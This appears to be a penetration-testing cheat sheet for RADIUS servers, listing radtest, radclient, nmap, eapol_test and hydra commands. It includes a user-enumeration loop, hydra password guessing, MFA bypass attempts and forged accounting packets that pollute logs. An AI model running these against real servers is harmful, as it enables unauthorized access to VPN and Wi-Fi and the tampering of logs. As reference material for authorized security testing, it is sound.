RADIUS

RADIUS is an AAA protocol used by VPNs, Wi-Fi, NAC, firewalls, routers, and MFA gateways. In pentests, RADIUS testing focuses on exposed servers, weak shared secrets, accepted client IPs, credential validation, and legacy EAP behavior.

Connect

Using radtest

radtest validates basic authentication when the shared secret and source IP are authorized.

radtest username password target.com 0 sharedsecret
radtest -x username password target.com:1812 0 sharedsecret
radtest -x username password target.com 0 sharedsecret

Using radclient

radclient gives control over RADIUS attributes.

cat > radius-request.txt << 'EOF'
User-Name = "username"
User-Password = "password"
NAS-IP-Address = 127.0.0.1
NAS-Port = 0
Message-Authenticator = 0x00
EOF

radclient -x target.com auth sharedsecret < radius-request.txt

Accounting Test

Accounting checks whether the server accepts session events from your source.

cat > acct-request.txt << 'EOF'
User-Name = "username"
Acct-Status-Type = Start
NAS-IP-Address = 127.0.0.1
NAS-Port = 0
Acct-Session-Id = "pentest-session-1"
EOF

radclient -x target.com acct sharedsecret < acct-request.txt

Recon

Service Detection with Nmap

RADIUS is UDP, so silence may mean filtered, invalid packet, or untrusted client IP.

nmap -sU -p 1812,1813,1645,1646 target.com
nmap -sU -sV -p 1812,1813 target.com
nmap -sU -p 1812,1813 --open 192.168.1.0/24

Integrated Service Discovery

RADIUS usually backs another access service.

nmap -p 443,500,4500,8443,9443 -sV target.com
nmap -sU -p 500,4500,1812,1813 target.com

Shared Secret Behavior

Wrong shared secrets often produce no useful response.

radtest -x username password target.com 0 wrongsecret
radtest -x username password target.com 0 sharedsecret

Enumeration

Client IP Trust

RADIUS servers normally accept requests only from configured NAS clients.

radclient -x target.com auth sharedsecret < radius-request.txt

User Validation

Responses may distinguish invalid users, bad passwords, and MFA requirements.

radtest -x validuser wrongpassword target.com 0 sharedsecret
radtest -x invaliduser password target.com 0 sharedsecret

Attribute Enumeration

Attributes can influence VLANs, groups, and access policy.

cat > attrs.txt << 'EOF'
User-Name = "username"
User-Password = "password"
NAS-IP-Address = 127.0.0.1
NAS-Identifier = "pentest"
Service-Type = Framed-User
EOF

radclient -x target.com auth sharedsecret < attrs.txt

EAP Method Review

Wireless and NAC environments should be checked for legacy EAP methods.

eapol_test -c peap.conf -s sharedsecret -a target.com
eapol_test -c ttls.conf -s sharedsecret -a target.com

Attack Vectors

Weak Shared Secret

Weak shared secrets can allow crafted authentication or accounting traffic.

radtest -x username password target.com 0 sharedsecret

User Enumeration

Different responses or timing may reveal valid users.

while read u; do
  radtest -x "$u" wrongpassword target.com 0 sharedsecret
done < users.txt

Password Guessing

Credential testing must be scoped because RADIUS often backs VPN and Wi-Fi.

hydra -L users.txt -P passwords.txt -s 1812 -P passwords.txt target.com radius

MFA Weakness

RADIUS MFA integrations may allow fail-open, push fatigue, or bypass by policy.

radtest -x username password target.com 0 sharedsecret
radtest -x username 'password,123456' target.com 0 sharedsecret

Accounting Abuse

Accepted accounting packets may pollute logs or session state.

radclient -x target.com acct sharedsecret < acct-request.txt

Post-Exploitation

Access Path Review

Map which VPN, Wi-Fi, or NAC systems depend on the RADIUS server.

grep -Ei 'NAS-IP-Address|NAS-Identifier|Called-Station-Id|Reply-Message' radius-output.txt

Credential Validation

Validate only scoped accounts and avoid broad password spraying.

radtest -x username password target.com 0 sharedsecret

Logging Check

Generate controlled failures and confirm SIEM visibility.

radtest -x invaliduser invalidpass target.com 0 sharedsecret
radclient -x target.com acct sharedsecret < acct-request.txt

Usefull Tools

Tool	Purpose
radtest	Basic authentication checks
radclient	Custom packet testing
eapol_test	EAP testing
nmap	UDP service detection
hydra	Scoped credential testing
tcpdump	Packet capture

Security Misconfigurations

Misconfiguration	Risk
Weak shared secret	Forged or abused RADIUS requests
Broad client IP trust	Unauthorized NAS requests
Verbose auth responses	User enumeration
Legacy EAP methods	Credential capture or downgrade risk
Weak MFA policy	Remote access bypass
Exposed RADIUS server	Authentication attack surface
Accepted accounting from untrusted clients	Session or log pollution